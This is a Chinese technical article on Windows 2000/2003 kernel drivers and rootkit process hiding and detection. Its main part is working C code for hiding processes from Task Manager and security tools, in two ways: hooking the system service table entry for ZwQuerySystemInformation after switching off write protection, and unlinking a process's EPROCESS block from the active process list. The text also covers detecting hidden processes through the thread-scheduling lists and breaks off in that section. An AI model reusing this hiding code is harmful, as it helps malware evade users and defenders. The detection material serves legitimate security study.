Windows2003 核心級程式隱藏、偵測技術

Max Woods發表於2014-08-12

論文關鍵字: 核心 攔截 活動程式連結串列 系統服務派遣表 執行緒排程鏈 驅動程式簡介   
  論文摘要:資訊對抗是目前計算發展的一個重要的方向,為了更好的防禦,必須去深入的瞭解敵人進攻的招式。資訊對抗促使資訊科技飛速的發展。下面我選取了資訊對抗技術的中一個很小一角關於windows核心級病毒隱藏技術和反病毒偵測技術作為議題詳細討論。  
  1.為什麼選驅動程式  
  驅動程式是執行在系統信任的Ring0環境下在程式碼,她擁有對系統任何軟體和硬體的訪問許可權。這意味著核心驅動可以訪問所有的系統資源,可以讀取所有的記憶體空間,而且也被允許執行CPU的特權指令,如,讀取CPU控制暫存器的當前值等。而處於使用者模式下的程式如果試圖從核心空間中讀取一個位元組或者試圖執行像MOV EAX,CR3這樣的彙編指令都會被立即終止掉。不過,這種強大的底線是驅動程式的一個很小的錯誤就會讓整個系統崩潰。所以對隱藏和反隱藏技術來說都提供了一個極好的環境。但是又對攻擊者和反查殺者提出了更高的技術要求。  
  2.入口例程DriverEntry  
  DriverEntry是核心模式驅動程式主入口點常用的名字,她的作用和main,WinMain,是一樣的。  
  extern "C" NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegistryPath)
  {...} 
  DriverEntry的第一個引數是一個指標,指向一個剛被初始化的驅動程式物件,該物件就代表你的驅動程式,DriverEntry的第二個引數是裝置服務鍵的鍵名。DriverEntry函式返回一個NTSTATUS值。NTSTATUS實際就是一個長整型,但你應該使用NTSTATUS定義該函式的返回值而不是LONG,這樣程式碼的可讀性會更好。大部分核心模式支援例程都返回NTSTATUS狀態程式碼,你可以在DDK標頭檔案NTSTATUS.H中找到NTSTATUS的程式碼列表。  
  DriverEntry的作用主要就是建立裝置物件,建立裝置物件的符號連結,設定好各個型別的回撥函式等。  
  例如:  
extern "C"  
NTSTATUS  
DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegistryPath)  
{  
 DriverObject->DriverUnload = DriverUnload;                                                             <--1  
 DriverObject->DriverExtension->AddDevice = AddDevice;  
 DriverObject->DriverStartIo = StartIo;  
 DriverObject->MajorFunction[IRP_MJ_PNP] = DispatchPnp;                                        <--2  
 DriverObject->MajorFunction[IRP_MJ_POWER] = DispatchPower;  
 DriverObject->MajorFunction[IRP_MJ_SYSTEM_CONTROL] = DispatchWmi;  
 ...  
}  
  在WDM中通過設定AddDevice回撥函式來建立裝置物件。在NT驅動中在DriverEntry例程中建立裝置物件和符號連結。  
  例如:  
  RtlInitUnicodeString (&deviceNameUnicodeString, deviceNameBuffer); //初始化裝置名字 
//建立裝置  
ntStatus = IoCreateDevice (DriverObject,       
                            0,  
                            &deviceNameUnicodeString,  
                            ##DeviceId,  
                            0,  
                            FALSE,  
                            &deviceObject  
                            );  
if ( NT_SUCCESS ( ntStatus ) )  {  
    RtlInitUnicodeString (&deviceLinkUnicodeString, deviceLinkBuffer); //初始化符號連結名字  
//建立符號連結 
    ntStatus = IoCreateSymbolicLink (&deviceLinkUnicodeString, &deviceNameUnicodeString);
    if ( !NT_SUCCESS ( ntStatus ) ) {  
        IoDeleteDevice (deviceObject); //如果建立符號連結失敗,刪除裝置 
             return ntStatus;  
}  
}  
  建立符號連結的作用就是暴露一個給應用程式的介面,應用程式可以通過CreateFile API開啟連結符號,得到一個語柄,和我們的驅動程式進行互動操作。 
  3.Unload例程  
  雖然各個驅動程式的Unload例程不盡相同,但是它大致執行下列工作:  
  釋放屬於驅動程式的任何硬體。  
  從Win32的名字空間移除符號連線名。  
  這個動作可以呼叫IoDeleteSymbolicLink來實現。  
  使用IoDeleteDevice移除裝置物件。  
  釋放驅動程式持有的任何緩衝池等。  
VOID DriverUnload ( IN PDRIVER_OBJECT pDriverObject )  
{  
PDEVICE_OBJECT pNextObj;  
// 迴圈每一個驅動過程控制的裝置  
pNextObj = pDriverObject->DeviceObject;  
while (pNextObj != NULL)  
{  
//從裝置物件中取出裝置Extension  
PDEVICE_EXTENSION pDevExt = (PDEVICE_EXTENSION)extObj->DeviceExtension;  
// 取出符號連線名  
UNICODE_STRING pLinkName = pDevExt->ustrSymLinkName;  
IoDeleteSymbolicLink(&pLinkName); //刪除符號連線名  
IoDeleteDevice(pNextObj); // 刪除裝置  
pNextObj = pNextObj->NextDevice;  
}  
}  
  4. 派遣例程  
  Win2000的I/O請求是包驅動的,當一個I/O請求開始,I/O管理器先建立一個IRP去跟蹤這個請求,另外,它儲存一個功能程式碼在IRP的I/O堆疊區的MajorField域中來唯一的標識請求的型別。MajorField域是被I/O管理器用來索引驅動程式物件的MajorFunction表,這個表包含一個指向一個特殊I/O請求的派遣例程的功能指標,如果驅動程式不支援這個請求,MajorFunction表就會指向I/O管理器函式_IopInvalidDeviceRequest,該函式返回一個錯誤給原始的呼叫者。驅動程式的作者有責任提供所有的驅動程式支援的派遣例程。所有的驅動程式必須支援IRP_MJ_CREATE功能程式碼,因為這個功能程式碼是用來響應Win32使用者模式的CreateFile呼叫,如果不支援這功能程式碼,Win32程式就沒有辦法獲得裝置的控制程式碼,類似的,驅動程式必須支援IRP_MJ_CLOSE功能程式碼,因為它用來響應Win32使用者模式的CloseHandle呼叫。順便提一下,系統自動呼叫CloseHandle函式,因為在程式退出的時候,所有的控制程式碼都沒有被關閉。  
 static NTSTATUS MydrvDispatch (IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp)  
{  
    NTSTATUS status;  
    PIO_STACK_LOCATION irpSp;  
    //得到當前IRP (I/O請求包)  
    irpSp = IoGetCurrentIrpStackLocation( Irp );  
    switch (irpSp->MajorFunction)  
    {  
        case IRP_MJ_CREATE:  
            DbgPrint("IRP_MJ_CREATE\n");  
            Irp->IoStatus.Status = STATUS_SUCCESS;  
            Irp->IoStatus.Information = 0L;  
            break;  
        case IRP_MJ_CLOSE:  
            DbgPrint("IRP_MJ_CLOSE\n");  
            Irp->IoStatus.Status = STATUS_SUCCESS;  
            Irp->IoStatus.Information = 0L;  
            break;  
    }  
    IoCompleteRequest(Irp, 0);  
    return STATUS_SUCCESS;  
}  
  大部分的I/O管理器的操作支援一個標準的讀寫提取,IRP_MJ_DEVICE_CONTROL允許擴充套件的I/O請求,使用使用者模式的DeviceIoControl函式來呼叫,I/O管理器建立一個IRP,這個IRP的MajorFunction和IoControlCode是被DeviceIoControl函式指定其內容。傳遞給驅動程式的IOCTL遵循一個特殊的結構,它有32-bit大小,DDK包含一個方便的產生IOCTL值的機制的巨集,CTL_CODE。可以使用CTL_CODE巨集來定義我們自己的IOCTL。  
例如:  
#define IOCTL_MISSLEDEVICE_AIM  CTL_CODE \  
( FILE_DEVICE_UNKNOWN, 0x801, METHOD_BUFFERED, FILE_ACCESS_ANY )  
 NTSTATUS DispatchIoControl( IN PDEVICE_OBJECT pDO, IN PIRP pIrp )  
{  
    NTSTATUS status = STATUS_SUCCESS;       
    PDEVICE_EXTENSION pDE;  
    PVOID userBuffer;  
    ULONG inSize;  
    ULONG outSize;  
    ULONG controlCode;                 // IOCTL請求程式碼  
    PIO_STACK_LOCATION pIrpStack;   //堆疊區域儲存了使用者緩衝區資訊  
     pIrpStack = IoGetCurrentIrpStackLocation( pIrp );  
    // 取出IOCTL請求程式碼  
    controlCode = pIrpStack-> Parameters.DeviceIoControl.IoControlCode;  
    // 得到請求緩衝區大小  
    inSize = pIrpStack-> Parameters.DeviceIoControl.InputBufferLength;  
    OutSize = pIrpStack-> Parameters.DeivceIoControl.OutputBufferLength;  
    //現在執行二次派遣  
    switch (controlCode)  
    {  
        case IOCTL_MISSLEDEVICEAIM:  
       ......  
        case IOCTL_DEVICE_LAUNCH:  
        ......  
        default:    // 驅動程式收到了未被承認的控制程式碼  
        status = STATUS_INVALID_DEVICE_REQUEST;  
    }  
    pIrp->IoStatus.Information = 0; // 資料沒有傳輸  
    IoCompleteRequest( pIrp, IO_NO_INCREMENT ) ;       
    return status;  
}  
  5.驅動程式的安裝  
    SC管理器(即服務控制管理器)可以控制服務和驅動程式。  
    載入和執行一個服務需要執行的典型操作步驟:  
    1.呼叫OpenSCManager()以獲取一個管理器控制程式碼  
    2.呼叫CreateService()來向系統中新增一個服務  
    3.呼叫StartService()來執行一個服務  
    4.呼叫CloseServiceHandle()來釋放管理器或服務控制程式碼  
 BOOL    InstallDriver()  
{  
    SC_HANDLE hSCManager = NULL;  
    hSCManager = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);  
    if(hSCManager == NULL)  
    {  
fprintf(stderr, "OpenSCManager() failed. --err: %d\n", GetLastError());  
        return FALSE;  
    }  
    SC_HANDLE schService;  
schService = CreateService( hSCManager, //SCManager database  
                           "MyDriver",             // name of service  
                            "MyDriver",             // name to display  
                           SERVICE_ALL_ACCESS,     // desired access  
                           SERVICE_KERNEL_DRIVER,   // service type  
                            SERVICE_AUTO_START,    // start type  
                    SERVICE_ERROR_NORMAL, // error control type  
                            DriverPath,              // service’s binary  
                            NULL,                 // no load ordering group  
                            NULL,                    // no tag identifier  
                            NULL,                    // no dependencies  
                            NULL,                    // LocalSystem account  
                            NULL                     // no password  
                            );  
    if (schService == NULL)  
    {  
        if(GetLastError() == ERROR_SERVICE_EXISTS)  
        {  
            printf("Service has already installed!\n");  
        }  
        printf("Install driver false!");  
        return FALSE;  
    }  
    BOOL    nRet = StartService(schService, 0, NULL);  
    if(!nRet)  
    {  
      if(GetLastError() == ERROR_SERVICE_ALREADY_RUNNING)  
        {  
            printf("Service is already running!\n");  
            return FALSE; }  
    }  
CloseServiceHandle(schService);  
    CloseServiceHandle(hSCManager);  
    return TRUE;  
}  
  以上對驅動程式大致框架做了一個非常簡單的介紹,這僅僅是驅動程式中的一個”Hello World!”。驅動程式是相當複雜的,由於我們只是利用驅動程式的特權,對windows核心進行修改,所以就不對驅動驅動程式進行深入討論了。  
  通過Hook SSDT (System Service Dispath Table) 隱藏程式  
  1.原理介紹: 
  Windows作業系統是一種分層的架構體系。應用層的程式是通過API來訪問作業系統。而API又是通過ntdll裡面的核心API來進行系統服務的查詢。核心API通過對int 2e的切換,從使用者模式轉換到核心模式。2Eh中斷的功能是通過NTOSKRNL.EXE的一個函式KiSystemService()來實現的。在你使用了一個系統呼叫時,必須首先裝載要呼叫的函式索引號到EAX暫存器中。把指向引數區的指標被儲存在EDX暫存器中。中斷呼叫後,EAX暫存器儲存了返回的結果。KiSystemService()是根據EAX的值來決定哪個函式將被呼叫。而系統在SSDT中維持了一個陣列,專門用來索引特定的函式服務地址。在Windows 2000中有一個未公開的由ntoskrnl.exe匯出的KeServiceDescriptorTable變數,我們可以通過它來完成對SSDT的訪問與修改。KeServiceDescriptorTable對應於一個資料結構,定義如下:  
typedef struct SystemServiceDescriptorTable 

    UINT    *ServiceTableBase; 
    UINT    *ServiceCounterTableBase; 
    UINT    NumberOfService; 
    UCHAR    *ParameterTableBase; 
}SystemServiceDescriptorTable,*PSystemServiceDescriptorTable;  
  其中ServiceTableBase指向系統服務程式的地址(SSDT),ParameterTableBase則指向SSPT中的引數地址,它們都包含了NumberOfService這麼多個陣列單元。在windows 2000 sp4中NumberOfService的數目是248個。  
  我們的工作管理員,是通過使用者層的API來列舉當前的程式的。Ring3級列舉的方法:  
• PSAPI  
– EnumProcesses()  
• ToolHelp32  
– Process32First()  
- Process32Next()  
  來對程式進行列舉。而她們最後都是通過NtQuerySystemInformation來進行查詢的。所以我們只需要Hook掉NtQuerySystemInformation,把真實NtQuerySystemInformation返回的數進行新增或者是刪改,就能有效的欺騙上層API。從而達到隱藏特定程式的目的。  
  2. Hook  
  Windows2000中NtQuerySystemInformation在SSDT裡面的索引號是0x97,所以只需要把SSDT中偏移0x97*4處把原來的一個DWORD型別的讀出來儲存一個全域性變數中然後再把她重新賦值成一個新的Hook函式的地址,就完成了Hook。  
OldFuncAddress = KeServiceDescriptorTable-> ServiceCounterTableBase[0x97];  
KeServiceDescriptorTable-> ServiceCounterTableBase[0x97] = NewFuncAddress;  
  在其他系統中這個號就不一定一樣。所以必須找一種通用的辦法來得到這個索引號。在《Undocument Nt》中介紹了一種辦法可以解決這個通用問題,從未有效的避免了使用硬編碼。在ntoskrnl 匯出的 ZwQuerySystemInformation中包含有索引號的硬編碼:  
kd> u ZwQuerySystemInformation  
804011aa    b897000000      mov         eax,0x97  
804011af    8d542404        lea         edx,[esp+0x4]  
804011b3    cd2e            int         2e  
804011b5    c21000          ret         0x10  
  所以只需要把ZwQuerySystemInformation入口處的第二個位元組取出來就能得到相應的索引號了。例如:  
ID = *(PULONG)((PUCHAR)ZwQuerySystemInformation+1);  
RealZwQuerySystemInformation=((PServiceDescriptorTableEntry)KeServiceDescriptorTable)->ServiceTableBase[ID]); 
((PServiceDescriptorTableEntry)KeServiceDescriptorTable)->ServiceTableBase[ID] = HookZwQuerySystemInformation;  
  3.對NtQuerySystemInformation返回的資料進行刪改  
NtQuerySystemInformation的原型:  
NtQuerySystemInformation(  
        IN ULONG SystemInformationClass,   //查詢系統服務型別  
        IN PVOID SystemInformation,        //接收系統資訊緩衝區  
     IN ULONG SystemInformationLength,   //接收資訊緩衝區大小         OUT PULONG ReturnLength);       //實際接收到的大小  
  NtQuerySystemInformation可以對系統的很多狀態進行查詢,不僅僅是對程式的查詢,通過SystemInformationClass號來區分功能,當SystemInformationClass等於5的時候是在進行程式的查詢。此時返回的SystemInformation 是一個 _SYSTEM_PROCESSES結構。  
struct _SYSTEM_PROCESSES  
{  
    ULONG NextEntryDelta;   //下一個程式資訊的偏移量,如果為0表示無一個程式資訊  
    ULONG ThreadCount;     //執行緒數量  
    ULONG Reserved[6];     //  
    LARGE_INTEGER CreateTime;      //建立程式的時間  
    LARGE_INTEGER UserTime;         //程式中所有執行緒在使用者模式執行時間的總和  
    LARGE_INTEGER KernelTime;      //程式中所有執行緒在核心模式執行時間的總和  
    UNICODE_STRING ProcessName;     //程式的名字  
    KPRIORITYBasePriority;         //執行緒的預設優先順序  
    ULONG ProcessId;                //程式ID號  
    ULONG InheritedFromProcessId;  //繼承語柄的程式ID號  
    ULONG HandleCount;              //程式開啟的語柄數量     
    ULONG Reserved2[2];             //   
    VM_COUNTERS VmCounters;         //虛擬記憶體的使用情況統計  
    IO_COUNTERS IoCounters;         //IO操作的統計,Only For 2000  
    struct _SYSTEM_THREADS Threads[1]; //描述程式中各執行緒的陣列  
};  
  當NextEntryDelta域等於0時表示已經到了程式資訊鏈的末尾。我們要做的僅僅是把要隱藏的程式從鏈中刪除。  
  4. 核心實現  
//系統服務表入口地址  
extern PServiceDescriptorTableEntry KeServiceDescriptorTable;  
NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegistryPath) 
{  
    ……  
    __asm{  
        mov eax, cr0  
        mov CR0VALUE, eax  
        and eax, 0fffeffffh //DisableWriteProtect  
        mov cr0, eax  
    }  
    //取得原來ZwQuerySystemInformation的入口地址  
RealZwQuerySystemInformation=(REALZWQUERYSYSTEMINFORMATION)(((PServiceDescriptorTableEntry)KeServiceDescriptorTable)->ServiceTableBase[*(PULONG)((PUCHAR)ZwQuerySystemInformation+1)] );  
    //Hook  
((PServiceDescriptorTableEntry)KeServiceDescriptorTable)->ServiceTableBase[*(PULONG)((PUCHAR)ZwQuerySystemInformation+1)]=HookFunc;  
    //EnableWriteProtect  
    __asm  
    {  
        mov eax, CR0VALUE  
        mov cr0, eax  
    }  
    ……  
    return STATUS_SUCCESS;  
}  
   
VOID DriverUnload (IN PDRIVER_OBJECT pDriverObject)  
{  
    ……  
    //UnHook恢復系統服務的原始入口地址  
((PServiceDescriptorTableEntry)KeServiceDescriptorTable)->ServiceTableBase[*(PULONG)((PUCHAR)ZwQuerySystemInformation+1)] = RealZwQuerySystemInformation;  
    ……  
}  
   
NTSTATUS HookFunc(  
        IN ULONG SystemInformationClass,  
        IN PVOID SystemInformation,  
        IN ULONG SystemInformationLength,  
        OUT PULONG ReturnLength)  
{  
    NTSTATUS rc;  
    struct _SYSTEM_PROCESSES *curr;  
    // 儲存上一個程式資訊的指標  
    struct _SYSTEM_PROCESSES *prev = NULL;  
    //呼叫原函式  
    rc = (RealZwQuerySystemInformation) (  
        SystemInformationClass,  
        SystemInformation,  
        SystemInformationLength, ReturnLength);  
    if(NT_SUCCESS(rc))  
    {  
if(5 == SystemInformationClass)  
//如果系統查詢型別是SystemProcessesAndThreadsInformation  
        {  
            curr = (struct _SYSTEM_PROCESSES *)SystemInformation;  
            //加第一個偏移量得到第一個system程式的資訊首地址  
            if(curr->NextEntryDelta)((char *)curr += curr->NextEntryDelta);  
            while(curr)  
            {  
if(RtlCompareUnicodeString(&hide_process_name, &curr->ProcessName, 1) == 0)  
                {  
                    //找到要隱藏的程式  
                    if(prev)  
                    {  
                         
                        if(curr->NextEntryDelta)  
                        {  
                            //要刪除的資訊在中間  
                            prev->NextEntryDelta += curr->NextEntryDelta;  
                        }  
                        else  
                        {  
                            //要刪除的資訊在末尾  
                            prev->NextEntryDelta = 0;  
                        }  
                    }  
                    else  
                    {  
                        if(curr->NextEntryDelta)  
                        {  
                            //要刪除的資訊在開頭  
                            (char *)SystemInformation += curr->NextEntryDelta;  
                        }  
                        else  
                        {  
                            SystemInformation = NULL;  
                        }  
                    }  
                    //如果鏈下一個還有其他的程式資訊,指標往後移  
                    if(curr->NextEntryDelta)  
((char*)curr+=curr->NextEntryDelta);                    else  
                    {  
                        curr = NULL;  
                        break;  
                    }  
                }  
                if(curr != NULL)  
                {  
                    //把當前指標設定成前一個指標,當前指標後移  
                    prev = curr;  
                    if(curr->NextEntryDelta)  
((char*)curr+=curr->NextEntryDelta);  
                    else curr = NULL;  
                }  
            } // end while(curr)  
        }  
    }  
    return rc;  
}  
  通過IOCTL和Ring3級的應用程式通過DeviceIoControl(API)互動資訊。Ring3級的使用者程式使用,  
  DeviceIoControl(Handle,IOCTL_EVENT_MSG,ProcessName,ProcessNameLen,  
  NULL,0,& BytesReturned,NULL)來通知驅動程式要隱藏的程式的名字。  
  列舉和修改活動程式連結串列來檢測和隱藏程式  
  1. 介紹EPROCESS塊(程式執行塊)  
  每個程式都由一個EPROCESS塊來表示。EPROCESS塊中不僅包含了程式相關了很多資訊,還有很多指向其他相關結構資料結構的指標。例如每一個程式裡面都至少有一個ETHREAD塊表示的執行緒。程式的名字,和在使用者空間的PEB(程式環境)塊等等。EPROCESS中除了PEB成員塊在是使用者空間,其他都是在系統空間中的。   
  2. 檢視EPROCESS結構  
kd> !processfields  
!processfields  
 EPROCESS structure offsets:  
    Pcb:                               0x0  
    ExitStatus:                        0x6c  
    LockEvent:                         0x70  
    LockCount:                         0x80  
    CreateTime:                        0x88  
    ExitTime:                          0x90  
    LockOwner:                         0x98  
    UniqueProcessId:                   0x9c  
    ActiveProcessLinks:                0xa0  
    QuotaPeakPoolUsage[0]:             0xa8  
    QuotaPoolUsage[0]:                 0xb0  
    PagefileUsage:                     0xb8  
    CommitCharge:                      0xbc  
    PeakPagefileUsage:                 0xc0  
    PeakVirtualSize:                   0xc4  
    VirtualSize:                       0xc8  
    Vm:                                0xd0  
    DebugPort:                         0x120  
    ExceptionPort:                     0x124  
    ObjectTable:                       0x128  
    Token:                             0x12c  
    WorkingSetLock:                    0x130  
    WorkingSetPage:                    0x150  
    ProcessOutswapEnabled:             0x154  
    ProcessOutswapped:                 0x155  
    AddressSpaceInitialized:           0x156  
    AddressSpaceDeleted:               0x157  
    AddressCreationLock:               0x158  
    ForkInProgress:                    0x17c  
    VmOperation:                       0x180  
    VmOperationEvent:                  0x184  
    PageDirectoryPte:                  0x1f0  
    LastFaultCount:                    0x18c  
    VadRoot:                           0x194  
    VadHint:                           0x198  
    CloneRoot:                         0x19c  
    NumberOfPrivatePages:              0x1a0  
    NumberOfLockedPages:               0x1a4  
    ForkWasSuccessful:                 0x182  
    ExitProcessCalled:                 0x1aa  
    CreateProcessReported:             0x1ab  
    SectionHandle:                     0x1ac  
    Peb:                               0x1b0  
    SectionBaseAddress:                0x1b4  
    QuotaBlock:                        0x1b8  
    LastThreadExitStatus:              0x1bc  
    WorkingSetWatch:                   0x1c0  
    InheritedFromUniqueProcessId:      0x1c8  
    GrantedAccess:                     0x1cc  
    DefaultHardErrorProcessing         0x1d0  
    LdtInformation:                    0x1d4  
    VadFreeHint:                       0x1d8  
    VdmObjects:                        0x1dc  
    DeviceMap:                         0x1e0  
    ImageFileName[0]:                  0x1fc  
    VmTrimFaultValue:                  0x20c  
    Win32Process:                      0x214  
  Win32WindowStation:                0x1c4  
  3. 什麼是活動程式連結串列  
  EPROCESS塊中有一個ActiveProcessLinks成員,它是一個PLIST_ENTRY機構的雙向連結串列。當一個新程式建立的時候父程式負責完成EPROCESS塊,然後把ActiveProcessLinks連結到一個全域性核心變數PsActiveProcessHead連結串列中。

在PspCreateProcess核心API中能清晰的找到:  
  InsertTailList(&PsActiveProcessHead,&Process->ActiveProcessLinks);  
  當程式結束的時候,該程式的EPROCESS結構當從活動程式鏈上摘除。(但是EPROCESS結構不一定就馬上釋放)。  
  在PspExitProcess核心API中能清晰的找到:  
  RemoveEntryList(&Process->ActiveProcessLinks);  
  所以我們完全可以利用活動程式連結串列來對程式進行列舉。  
  4. 程式列舉檢測Hook SSDT隱藏的程式。  
    事實上Nactive API ZwQuerySystemInformation 對程式查詢也是找到活動程式連結串列頭,然後遍歷活動程式鏈。最後把每一個EPROCESS中包含的基本資訊返回(包括程式ID名字等)。所以用遍歷活動程式連結串列的辦法能有效的把Hook SSDT進行隱藏的程式輕而易舉的查出來。但是PsActiveProcessHead並沒被ntoskrnl.exe 匯出來,所以我們可以利用硬編碼的辦法,來解決這個問題。利用核心偵錯程式livekd查得PsActiveProcessHead的地址為: 0x8046e460.(在2000 sp4中得到的值)  
  kd> dd PsActiveProcessHead L 2  
  dd PsActiveProcessHead L 2  
  8046e460 81829780 ff2f4c80  
  PLIST_ENTRY PsActiveProcessHead = (PLIST_ENTRY)0x8046e460;  
void DisplayList()  
{  
PLIST_ENTRY List = PsActiveProcessHead->Blink;  
while( List != PsActiveProcessHead )  
{  
        char* name = ((char*)List-0xa0)+0x1fc;  
        DbgPrint("name = %s\n",name);  
        List=List->Blink;                
}  
}  
  首先把List指向表頭後的第一個元素。然後減去0xa0,因為這個時候List指向的並不是EPROCESS塊的頭,而是指向的它的ActiveProcessLinks成員結構,而ActiveProcessLinks在EPROCESS中的偏移量是0xa0,所以需要減去這麼多,得到EPROCESS的頭部。在EPROCESS偏移0x1fc處是程式的名字資訊,所以再加上0x1fc得到程式名字,並且在Dbgview中列印出來。利用Hook SSDT隱藏的程式很容易就被查出來了。  
  5. 解決硬編碼問題。  
  在上面我們的PsActiveProcessHead是通過硬編碼的形式得到的,在不同的系統中這值不一樣。在不同的SP版本中這個值一般也不一樣。這就給程式的通用性帶來了很大的問題。下面就來解決這個PsActiveProcessHead的硬編碼的問題。  
    ntoskrnl.exe匯出的PsInitialSystemProcess 是一個指向system程式的EPROCESS。這個結構成員EPROCESS.ActiveProcessLinks.Blink就是指向PsActiveProcessHead的.  
kd> dd PsInitialSystemProcess L 1  
dd PsInitialSystemProcess L 1  
8046e450 818296e0  
kd> !process 818296e0 0  
!process 818296e0 0  
PROCESS 818296e0 SessionId: 0 Cid: 0008    Peb: 00000000 ParentCid: 0000  
    DirBase: 00030000 ObjectTable: 8185d148 TableSize: 141.  
Image: System  
可以看出由PsInitialSystemProcess得到的818296e0正是指向System的EPROCESS.  
kd> dd 818296e0+0xa0 L 2  
dd 818296e0+0xa0 L 2  
81829780 814d1a00 8046e460  
上面又可以看出System EPROCESS的ActiveProcessLinks域的Blink指向8046e460正好就是我們的PsActiveProcessHead.  
  6. 刪除活動程式連結串列實現程式隱藏  
  由於Windows是基於執行緒排程的。所以如果我們把要隱藏的程式的EPROCESS塊從活動程式鏈上摘除,就能有效的繞過基於通過活動程式連結串列檢測程式的防禦系統。因為是以執行緒為基本單位進行排程,所以摘除過後並不影響隱藏程式的執行緒排程。  
void DelProcessList()  
{  
    PLIST_ENTRY List = PsActiveProcessHead->Blink;  
    while( List != PsActiveProcessHead )  
    {  
        char* name = ((char*)List-0xa0)+0x1fc;       
        if ( !_stricmp(name,"winlogon.exe") )  
        {  
            DbgPrint("remove %s \n",name);  
            RemoveEntryList(List);  
        }  
        List=List->Blink;                
    }  
}  
  首先和上面的程式一樣得到PsActiveProcessHead 頭的後面第一個EPROCESS塊。然後和我們要隱藏的程式名字進行對比,如果不是指標延鏈下移動。如果是就把EPROCESS塊從活動程式鏈上摘除。一直到遍歷完一次活動程式的雙向連結串列。當摘除指定程式的EPROCESS塊後可以發現工作管理員裡面的指定的程式消失了,然後又用上面的基於活動程式連結串列檢測程式的程式一樣的發現不到隱藏的程式。  
  基於執行緒排程連結串列的檢測和隱藏技術  
  1. 什麼是ETHREAD和KTHREAD塊  
  Windows2000是由執行程式執行緒(ETHREAD)塊表示的,ETHREAD成員都是指向的系統空間,程式環境塊(TEB)除外。ETHREAD塊中的第一個結構體就是核心執行緒(KTHREAD)塊。在KTHREAD塊中包含了windows2000核心需要訪問的資訊。這些資訊用於執行執行緒的排程和同步正在執行的執行緒。  
kd> !kthread  
struct   _KTHREAD (sizeof=432)  
+000 struct   _DISPATCHER_HEADER Header  
+010 struct   _LIST_ENTRY MutantListHead  
+018 void     *InitialStack  
+01c void     *StackLimit  
+020 void     *Teb  
+024 void     *TlsArray  
+028 void     *KernelStack  
+02c byte     DebugActive  
+02d byte     State  
+02e byte     Alerted[2]  
+030 byte     Iopl  
+031 byte     NpxState  
+032 char     Saturation  
+033 char     Priority  
+034 struct   _KAPC_STATE ApcState  
+034    struct   _LIST_ENTRY ApcListHead[2]  
+044    struct   _KPROCESS *Process  
+04c uint32   ContextSwitches  
+050 int32    WaitStatus  
+054 byte     WaitIrql  
+055 char     WaitMode  
+056 byte     WaitNext  
+057 byte     WaitReason  
+058 struct   _KWAIT_BLOCK *WaitBlockList  
+05c struct   _LIST_ENTRY WaitListEntry  
+064 uint32   WaitTime  
+068 char     BasePriority  
+069 byte     DecrementCount  
+06a char     PriorityDecrement  
+06b char     Quantum  
+06c struct   _KWAIT_BLOCK WaitBlock[4]  
+0cc void     *LegoData  
+0d0 uint32   KernelApcDisable  
+0d4 uint32   UserAffinity  
+0d8 byte     SystemAffinityActive  
+0d9 byte     PowerState  
+0da byte     NpxIrql  
+0db byte     Pad[1]  
+0dc void     *ServiceTable  
+0e0 struct   _KQUEUE *Queue  
+0e4 uint32   ApcQueueLock  
+0e8 struct  _KTIMER Timer  
+110 struct   _LIST_ENTRY QueueListEntry  
+118 uint32   Affinity  
+11c byte     Preempted  
+11d byte     ProcessReadyQueue  
+11e byte     KernelStackResident  
+11f byte     NextProcessor  
+120 void     *CallbackStack  
+124 void     *Win32Thread  
+128 struct   _KTRAP_FRAME *TrapFrame  
+12c struct   _KAPC_STATE *ApcStatePointer[2]  
+134 char     PreviousMode  
+135 byte     EnableStackSwap  
+136 byte     LargeStack  
+137 byte     ResourceIndex  
+138 uint32   KernelTime  
+13c uint32   UserTime  
+140 struct   _KAPC_STATE SavedApcState  
+158 byte     Alertable  
+159 byte     ApcStateIndex  
+15a byte     ApcQueueable  
+15b byte     AutoAlignment  
+15c void     *StackBase  
+160 struct   _KAPC SuspendApc  
+190 struct   _KSEMAPHORE SuspendSemaphore  
+1a4 struct   _LIST_ENTRY ThreadListEntry  
+1ac char     FreezeCount  
+1ad char     SuspendCount  
+1ae byte     IdealProcessor  
+1af byte     DisableBoost  
  在偏移0x5c處有一個WaitListEntry成員,這個就是用來連結到執行緒排程連結串列的。在偏移0x34處有一個ApcState成員結構,在ApcState中的Process域就是指向當前執行緒關聯的程式的KPROCESS塊,由於KPROCESS塊是EPROCESS塊的第一個元素,所以找到了KPROCESS塊指標也就是找到了EPROCESS塊的指標。找到了EPROCESS就不用多少了,就可以取得當前執行緒的程式的名字,ID號等。  
  2. 執行緒排程  
  在windows系統中,執行緒排程主要分成三條主要的排程連結串列。分別是KiWaitInListHead, KiWaitOutListhead,KiDispatcherReadyListHead,分別是兩條阻塞鏈,一條就緒連結串列,當執行緒獲得CPU執行的時候,系統分配一, , 個時間片給執行緒,當發生一次時鐘中斷就從分配的時間片上減去一個時鐘中斷的值,如果這個值小於零了也就是時間片用完了,那麼這個執行緒根據其優先順序載入到相應的就緒佇列末尾。KiDispatcherReadyListHead是一個陣列鏈的頭部,在windows 2000中它包含有32個佇列,分別對應執行緒的32個優先順序。如果執行緒因為同步,或者是對外設請求,那麼阻塞執行緒,讓出CPU的所有權,加如到阻塞佇列裡面去。CPU從就緒佇列裡面,按照優先權的前後,重新排程新的執行緒的執行。當阻塞佇列裡面的執行緒獲得所需求的資源,或者是同步完成就又重新加到就緒佇列裡面等待執行。  
  3.通過執行緒排程連結串列進行隱藏程式的檢測  
void DisplayList(PLIST_ENTRY ListHead)  
{  
    PLIST_ENTRY List = ListHead->Flink;  
    if ( List == ListHead )  
    {  
    // DbgPrint("return\n");  
        return;  
    }  
    PLIST_ENTRY NextList = List;  
    while ( NextList != ListHead )  
    {  
        PKTHREAD Thread = ONTAINING_RECORD(NextList, KTHREAD, WaitListEntry);  
        PKPROCESS Process = Thread->ApcState.Process;  
        PEPROCESS pEprocess = (PEPROCESS)Process;  
        DbgPrint("ImageFileName = %s \n",pEprocess->ImageFileName);  
        NextList = NextList->Flink;  
    }  
}  
  以上是對一條鏈進行程式列舉。所以我們必須找到KiWaitInListHeadKiWaitOutListheadKiDispatcherReadyListHead的地址,由於他們都沒有被ntoskrnl.exe匯出來,所以只有通過硬編碼的辦法給他們賦值。通過核心偵錯程式,能找到(windows2000 sp4):  
